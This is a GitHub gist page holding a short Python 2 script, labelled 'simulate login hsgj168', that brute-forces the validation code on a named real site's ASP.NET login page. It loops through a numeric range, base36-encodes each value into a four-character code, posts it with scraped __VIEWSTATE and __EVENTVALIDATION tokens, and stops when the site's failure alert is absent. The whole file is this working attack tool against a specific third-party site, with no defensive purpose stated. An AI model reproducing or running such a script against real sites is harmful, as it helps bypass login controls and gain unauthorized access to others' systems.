Created
July 5, 2012 14:50
-
-
Save kukat/3054116 to your computer and use it in GitHub Desktop.
simulate login hsgj168
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import urllib2 | |
import urllib | |
from urllib2 import * | |
import re | |
import sys | |
ALPHABET = '0123456789abcdefghijklmnopqrstuvwxyz' | |
urlAdress = 'http://www.hsgj168.com/baisha.aspx' | |
postdict = { | |
'__VIEWSTATE':'', | |
'__EVENTVALIDATION':'', | |
'txtUserName':'', | |
'Password':'', | |
'ValidateCode':'', | |
'btnLogin':'登 录', | |
'mmmxs':'' | |
} | |
def base36_encode(num): | |
arr = [] | |
base = len(ALPHABET) | |
while num: | |
rem = num % base | |
num = num // base | |
arr.append(ALPHABET[rem]) | |
arr.reverse() | |
return ''.join(arr) | |
def update_validation(dict): | |
content = urllib2.urlopen(urlAdress).read() | |
dict['__VIEWSTATE'] = re.compile(r'id="__VIEWSTATE" value="(.*?)"').findall(content)[0] | |
dict['__EVENTVALIDATION'] = re.compile(r'id="__EVENTVALIDATION" value="(.*?)"').findall(content)[0] | |
return dict | |
x = int(sys.argv[1]) | |
while x < int(sys.argv[2]): | |
postdict['ValidateCode'] = base36_encode(x).zfill(4) | |
print "Trying %d [%s] ..." % (x, postdict['ValidateCode']), | |
postdata=urllib.urlencode(postdict) | |
try: | |
response = urllib2.urlopen(urlAdress, postdata) | |
if response.read().find('<script>alert(')>0: | |
print "Failed" | |
x+=1 | |
else: | |
print "Done!" | |
break | |
except HTTPError, e: | |
print e.code | |
if e.code == 500: | |
postdict = update_validation(postdict) | |
else: | |
break | |
except URLError, e: | |
print e.reason | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment